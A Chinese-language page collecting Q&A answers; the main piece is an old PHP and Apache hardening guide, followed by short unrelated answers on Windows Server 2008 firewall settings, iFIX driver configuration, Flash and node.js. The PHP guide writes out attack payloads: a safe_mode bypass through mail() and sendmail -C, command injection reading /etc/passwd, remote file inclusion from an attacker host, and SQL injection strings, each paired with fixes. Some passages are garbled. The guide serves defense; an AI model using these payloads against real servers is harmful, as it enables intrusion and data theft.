Ⅰ php安全配置 如何配置使其更安全
一、Web服务器安全PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:[mail function]; For Win32 only.SMTP = localhost; For Win32 only.sendmail_from = [email protected]都是针对Win32平台,所以需要在chroot环境下调整好sendmail。二、PHP本身问题1、远程溢出PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:http://packetstormsecurity.org/0204-exploits/7350funhttp://hsj.shadowpenguin.org/misc/php3018_exp.txt2、远程拒绝服务PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。3、safe_mode绕过漏洞还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:<? mail("[email protected],"foo","bar","",$bar); ?>执行如下的URL:http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]这将id执行的结果发送给[email protected]。对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:<?# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样$script="/tmp/script123";$cf="/tmp/cf123";$fd = fopen($cf, "w");fwrite($fd, "OQ/tmpSparse=0R$*" . chr(9) . "$#local [email protected] $1 $: $1Mlocal, P=/bin/sh, A=sh $script");fclose($fd);$fd = fopen($script, "w");fwrite($fd, "rm -f $script $cf; ");fwrite($fd, $cmd);fclose($fd);mail("nobody", "", "", "", "-C$cf");?>还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。三、PHP本身的安全配置PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:# grep PHP_INI_ /PHP_SRC/main/main.c在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。1、safe_modesafe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:safe_mode = On或者修改httpd.conf,定义目录:<Directory /var/www>Options FollowSymLinksphp_admin_value safe_mode 1</Directory>重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:<?include("index.html")?>几个文件的属性如下:# ls -latotal 13drwxr-xr-x 2 root root 104 Jul 20 01:25 .drwxr-xr-x 16 root root 384 Jul 18 12:02 ..-rw-r–r– 1 root root 4110 Oct 26 2002 index.html-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php在浏览器请求test.php会提示如下的错误信息:Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:safe_mode_gid = On设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:safe_mode_exec_dir = /usr/local/php/exec然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。safe_mode_include_dir string当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。safe_mode_allowed_env_vars string设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!safe_mode_protected_env_vars string本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。2、变量滥用PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:<?//test_1.phpif ($pass == "hello")$auth = 1;if ($auth == 1)echo "some important information";elseecho "nothing";?>攻击者只需用如下的请求就能绕过检查:http://victim/test_1.php?auth=1这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞http://www.securityfocus.com/bid/3361PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。解决方法:配置文件php.ini设置register_globals = Off。要求程序员对作为判断的变量在程序最开始初始化一个值。3、文件打开极易受攻击的代码片断:<?//test_2.phpif (!($str = readfile("$filename"))) {echo("Could not open file: $filename<BR>\n");exit;}else {echo $str;}?>由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:http://victim/test_2.php?filename=/etc/passwd如下请求可以读php文件本身:http://victim/test_2.php?filename=test_2.phpPHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。解决方法:如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:<Directory /usr/local/apache/htdocs>php_admin_value open_basedir /usr/local/apache/htdocs</Directory>重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.使用safe_mode模式也能避免这种问题,前面已经讨论过了。4、包含文件极易受攻击的代码片断:<?//test_3.phpif(file_exists($filename))include("$filename");?>这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:http://victim/test_3.php?filename=/etc/passwd如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,http://attack/attack.txt的内容是<?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令ls /etc:http://victim/test_3.php?filename=http://attack/attack.txt攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。对于另外一种形式,如下代码片断:<?//test_4.phpinclude("$lib/config.php");?>攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:http://victim/test_4.php?lib=http://attackPHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。解决方法:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off重启apache。5、文件上传php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )$file_size #上传文件的大小$file_name #上传文件的原始名称$file_type #上传文件的类型推荐使用:$HTTP_POST_FILES[file][tmp_name]$HTTP_POST_FILES[file][size]$HTTP_POST_FILES[file][name]$HTTP_POST_FILES[file][type]这是一个最简单的文件上传代码:<?//test_5.phpif(isset($upload) && $file != "none") {($file, "/usr/local/apache/htdocs/upload/".$file_name);echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>";exit;}?><html><head><title>文件上传</title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head><body bgcolor="#FFFFFF"><form enctype="multipart/form-data" method="post">上传文件:<input type="file" name="file" size="30"><input type="submit" name="upload" value="上传"></form></body></html>这样的上传代码存在读取任意文件和执行命令的重大问题。下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:http://victim/test_5.php?upload= … ile_name=attack.txt然后可以用如下请求读取口令文件:http://victim/test/attack.txt攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。攻击者还可以上传PHP脚本执行主机的命令。解决方法:PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。使用$HTTP_POST_FILES数组来读取用户上传的文件变量。严格检查上传变量。比如不允许是php脚本文件。把PHP脚本操作限制在web目录可以避免程序员使用函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。把PHP脚本用phpencode进行加密,避免由于操作泄漏源码。严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:<Directory /usr/local/apache/htdocs/upload>php_flag engine off#如果是php3换成php3_engine off</Directory>重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。6、命令执行下面的代码片断是从PHPNetToolpack摘出,详细的描述见:http://www.securityfocus.com/bid/4303<?//test_6.phpsystem("traceroute $a_query",$ret_strs);?>由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。攻击者输入如下请求可以执行cat /etc/passwd命令:http://victim/test_6.php?a_query=www.example.com;cat /etc/passwdPHP的命令执行函数还有system(), passthru(), popen()和“等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。解决方法:要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。7、sql_inject如下的SQL语句如果未对变量进行处理就会存在问题:select * from login where user=$user and pass=$pass攻击者可以用户名和口令都输入1 or 1=1绕过验证。不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1从而避免了此类sql_inject攻击。对于数字类型的字段,很多程序员会这样写:select * from test where id=$id由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。解决方法:要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE … 这种攻击。8、警告及错误信息PHP默认显示所有的警告及错误信息:error_reporting = E_ALL & ~E_NOTICEdisplay_errors = On在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。修改php.ini中关于Error handling and logging部分内容:error_reporting = E_ALLdisplay_errors = Offlog_errors = Onerror_log = /usr/local/apache/logs/php_error.log然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。9、disable_functions如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:disable_functions = phpinfo, get_cfg_var可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。10、disable_classes这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。11、open_basedir前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。四、其它安全配置1、取消其它用户对常用、重要系统命令的读写执行权限一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,2、去掉apache日志其它用户的读权限apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。
Ⅱ 已达到当前个人防火墙配置文件允许的最大安全规则数,请至少删除一个现有规则才能添加
应该是指你经常修改防火墙的参数设置,而且每次修改后都保存了配置文件,这样的话,就保存了很多配置文件,现在已经达到最大数量了,你应该进入那个配置文件保存路径,删除一些,或者全部删除,然后再来修改保存。
Ⅲ windows server 2008 r2 怎么配置才安全
针对一般中小企业型来说,如果希望对企业网络进行安全管理,不一定非得花高价钱购买专业的防火墙设置,直接借助操作系统本身自带的防火墙功能即可以满足一般企业的应用,今天我们就一起来探究一下Windows Server 2008 R2系统防火墙的强大功能。熟练的应用Windows 内置防火墙,首先需要了解网络位置。 网络位置 第一次连接到网络时,必须选择网络位置。这将为所连接网络的类型自动设置适当的防火墙和安全设置。如果用户在不同的位置(例如,家庭、本地咖啡店或办公室)连接到网络,则选择一个网络位置可帮助确保始终将用户的计算机设置为适当的安全级别。 在Windows Server 2008中,有四种网络位置: 家庭网络: 对于家庭网络或在用户认识并信任网络上的个人和设备时,请选择“家庭网络”。家庭网络中的计算机可以属于某个家庭组。对于家庭网络,“网络发现”处于启用状态,它允许用户查看网络上的其他计算机和设备并允许其他网络用户查看用户的计算机。 工作网络: 对于小型办公网络或其他工作区网络,请选择“工作网络”。默认情况下,“网络发现”处于启用状态,它允许用户查看网络上的其他计算机和设备并允许其他网络用户查看用户的计算机,但是,用户无法创建或加入家庭组。 公用网络: 为公共场所(例如,咖啡店或机场)中的网络选择“公用网络”。此位置旨在使用户的计算机对周围的计算机不可见,并且帮助保护计算机免受来自 Internet 的任何恶意软件的攻击。家庭组在公用网络中不可用,并且网络发现也是禁用的。如果用户没有使用路由器直接连接到 Internet,或者具有移动宽带连接,也应该选择此选项。 域网络: “域”网络位置用于域网络(如在企业工作区的网络)。这种类型的网络位置由网络管理员控制,因此无法选择或更改。 Windows 防火墙如何影响网络位置 在公共场所连接网络时,“公用网络”位置会阻止某些程序和服务运行,这样有助于保护计算机免受未经授权的访问。如果连接到“公用网络”并且 Windows 防火墙处于打开状态,则某些程序或服务可能会要求用户允许它们通过防火墙进行通信,以便让这些程序或服务可以正常工作。 在用户允许某个程序通过防火墙进行通信后,对于具有的位置与当前所连接到的位置相同的每个网络,也会允许该程序进行通信。例如,如果用户在咖啡店连接到某个网络并选择“公用网络”作为位置,然后解除了对一个即时消息程序的阻止,则对于所连接到的所有公用网络,对该程序的阻止都将解除。 如果在连接到公用网络时计划解除对多个程序的阻止,请考虑将网络位置更改为“家庭”网络或“工作”网络。从这点而言,相对于影响用户所连接到的每个公用网络,这一更改操作可能会更安全。但请记住,如果进行了此更改,用户的计算机将对网络上的其他人可见,这样存在安全风险。 Windows防火域基本设置 当我们安装好系统后,默认就已经启用了防火墙功能,此时,只要设置好网络位置,就会阻止其他计算机与此计算机的通信。查看防火墙工作状态的方法是,在控制面板中点击系统和安全,从中打开Windows防火墙即可,然后就可以看到下图所示的状态: 如果希望打开或关闭Windows防火墙的话,只需要点击左侧的“打开或关闭防火墙”即可,然后看到如下图所示的界面: 从此图可以看到针对专用网中的家庭网络和工作网络已经开启了防火墙功能,此时就会封锁所有的传入连接。 但在实际应用中,不能把所有的传入连接都给封锁,在此用户可以根据需要设置相应的“白名单”来放开某些连接,方法是点击防火墙工作状态界面左侧中的“允许程序或功能通过Windows防火墙”,出现下图所示的界面: 将某个程序添加到防火墙中允许的程序列表或打开一个防火墙端口时,则允许特定程序通过防火墙与您的计算机之间发送或接收信息。允许程序通过防火墙进行通信(有时称为“解除阻止”)就像是在防火墙中打开了一个孔。 每次打开一个端口或允许某个程序通过防火墙进行通信时,计算机的安全性也在随之降低。您的防火墙拥有允许的程序或打开的端口越多,黑客或恶意软件使用这些通道传播蠕虫、访问文件或使用计算机将恶意软件传播到其他计算机的机会也就越大。 防火墙 的高级安全设置 刚才的基本设置操作比较简单,但功能也单一,如果需要进一步设置Windows 防火墙规则,就需要通过“高级安全Windows 防火墙”功能。打开方法如下:管理工具中点击高级安全Windows防火墙,或者是在刚才的防火墙状态中点击高级设置。如下图所示,然后,可以看到右侧所示的界面。 什么是高级安全Windows防火墙: 使用高级安全 Windows 防火墙可以帮助用户保护网络上的计算机。通过该防火墙您可以确定允许在计算机和网络之间传输的网络流量。它还包括使用 Internet 协议安全性 (IPsec) 保护在网络间传送的流量的连接安全规则。 高级安全 Windows 防火墙是一种有状态的防火墙,它检查并筛选 IP 版本 4 (IPv4) 和 IP 版本 6 (IPv6) 流量的所有数据包。在此上下文中,筛选意味着通过管理员定义的规则对网络流量进行处理,进而允许或阻止网络流量。默认情况下阻止传入流量,除非是对主机请求(请求的流量)的响应,或者得到特别允许(即创建了允许该流量的防火墙规则)。可以通过指定端口号、应用程序名称、服务名称或其他标准将高级安全 Windows 防火墙配置为显式允许流量。 创建防火墙规则: 可以创建防火墙规则以允许此计算机向程序、系统服务、计算机或用户发送流量,或者从程序、系统服务、计算机或用户接收流量。当用户的连接匹配该规则标准的所有连接执行以下三个操作之一:允许连接、只允许通过使用 Internet 协议安全 (IPSec) 保护的连接、阻止连接。 可以为入站通信或出站通信创建规则。可配置规则以指定计算机或用户、程序、服务或者端口和协议。可以指定要应用规则的网络适配器类型:局域网 (LAN)、无线、远程访问,例如虚拟专用网络 (VPN) 连接或者所有类型。还可以将规则配置为使用任意配置文件或仅使用指定配置文件时应用,当 IT 环境更改时,可能必须更改、创建、禁用或删除规则。 连接安全的实现: 连接安全包括在两台计算机开始通信之前对它们进行身份验证,并确保在两台计算机之间发送的信息的安全性。高级安全 Windows 防火墙使用 Internet 协议安全 (IPsec) 实现连接安全,方法是使用密钥交换、身份验证、数据完整性和数据加密(可选)。连接安全规则使用 IPsec 确保其通过网络时的流量安全。使用连接安全规则指定必须对两台计算机之间的连接进行身份验证或加密。可能还要必须创建防火墙规则以允许由连接安全规则保护的网络流量。 什么是防火墙配置文件: 防火墙配置文件是一种分组设置的方法,如防火墙规则和连接安全规则,根据计算机连接到的位置将其应用于该计算机。在运行此版本 Windows 的计算机上,高级安全 Windows 防火墙有三个配置文件: 每个网络适配器也就是网卡,分配匹配所检测网络类型的防火墙配置文件。例如,如果将网络适配器连接到公用网络,则到达或来自该网络的所有流量会由与公用配置文件关联的防火墙规则筛选。 Windows Server 2008 R2 和 Windows 7 为每个活动网络适配器配置文件提供支持。在 Windows Vista 和 Windows Server 2008 中,每次计算机上只能有一个配置文件处于活动状态。如果存在多个连接到不同网络的网络适配器,则具有最严格配置文件设置的配置文件应用于计算机上的所有适配器。公用配置文件被认为是最为严格的,然后是专用配置文件;域配置文件被认为是最不严格的。 如果不更改配置文件的设置,则只要高级安全 Windows 防火墙使用配置文件,就应用其默认值。建议为所有三个配置文件启用高级安全 Windows 防火墙。 若要配置这些配置文件,请在高级安全 Windows 防火墙 MMC 管理单元中,右键单击“高级安全 Windows 防火墙”,然后单击“属性”。 如果需要使用的服务或应用程序在列表中没有出现的,用户可以通过新建规则的方式来创建,如现在操作的计算机是一台WEB服务器,而需要开放给其他用户连接此网站,可以通过新建规划来开放一个80端口的规则。 本地 IP 地址由本地计算机用于确定规则是否适用。规则仅适用于通过配置为使用一个指定本地 IP 地址的网络适配器的网络流量。任何 IP 地址,选择此选项可以指定匹配具有指定为本地 IP 地址的任意地址的网络数据包的规则。选中此选项时本地计算机始终匹配规则。下列 IP 地址,选择此选项可以指定规则匹配具有“本地 IP 地址”中指定的一个地址的网络流量。如果本地计算机没有使用一个指定 IP 地址配置的网络适配器,则规则不适用。在“IP 地址”对话框上,单击“添加”可以在列表中创建新条目,或单击“编辑”可以更改列表中的现有条目。还可以通过选择项目然后单击“删除”从列表中删除某个条目。 远程 IP 地址:指定应用规则的远程 IP 地址。如果目标 IP 地址是列表中的地址之一,则网络流量匹配规则。任何 IP 地址,此选项可以指定规则匹配发自(对于入站规则)或发往(对于出站规则)包含在列表中的任意 IP 地址的网络数据包。下列 IP 地址,选择此选项可以指定规则仅匹配具有“远程 IP 地址”中指定的一个地址的网络流量。在“IP 地址”对话 此外还需要将此防火墙规则应用到相应的配置文件和接口类型上,因此需要指定此规则所使用的配置文件,Windows 确定每个网络适配器的网络位置类型,然后对该网络适配器应用相应的配置文件。接口类型指的是单击“自定义”可以指定应用连接安全规则的接口类型。通过“自定义接口类型”对话框,可以选择“所有接口类型”或“局域网”、“远程访问”或“无线”类型的任意组合。最后一个需要介绍的就是边缘遍历。边缘遍历允许指的是计算机接受未经请求的入站数据包,这些数据包已通过诸如网络地址转换 (NAT) 路由器或防火墙之类的边缘设备。系统默认是阻止应用程序通过 NAT 边缘设备从 Internet 接收主动提供的流量。也可以设置为遵从用户或者是遵从应用程序,所谓遵从用户指的是让用户决定当应用程序请求通过 NAT 边缘设备从 Internet 接收主动提供的流量时是否允许该流量。遵从应用程序指的是让每个应用程序确定是否允许通过 NAT 边缘设备从 Internet 接收主动提供的流量。
Ⅳ IFIX的安全配置是哪个文件
ifiX的驱动配置后可以把配置保存为对应的驱动的后缀名的配置文件,如MB1,那么建立的配置文件为NAME.MB1,默认情况下,这个配置文件在IFIX的程序安装路径下,可以保存在项目的路径下,然后如果要每次打开程序自动加载这个配置的文件,那么,需要在去驱动的配置路径里面,菜单栏中options——>setup的选项,里面有个defaultpath的栏目,下面有个defaultconfiguration的路径自定义窗口,这里就可以手动写入配置文件的目录,最后保存下,那么下次这个驱动就可以自动加载配置好的文件了。给看看OPC的配置截图,其他的驱动都是一样的,mb1还没有安装,不过驱动配置都是一样的。注意在advace里面有的自动启动需要选中的,还有enablechildren也要选中,这样就能在自动建立变量链接时自动勾选enable的选项的。
Ⅳ FLASH安全配置文件是指什么哪里有这个文件
一般是由于FLASH文件要链接某个网址,FLASH播放器处于安全考虑而阻止了此动作的提示。FLASH发布设置里面有相关安全设置选项
Ⅵ 关于node.js里mysql数据库配置文件 写到哪里最安全
server.js =》 node.js的服务器启动文件db.js =》 数据库操作文件views =》 存放模板文件,也就是所有的页面存放的地方public =》 存放所有静态资源的地方,比如css js images之类的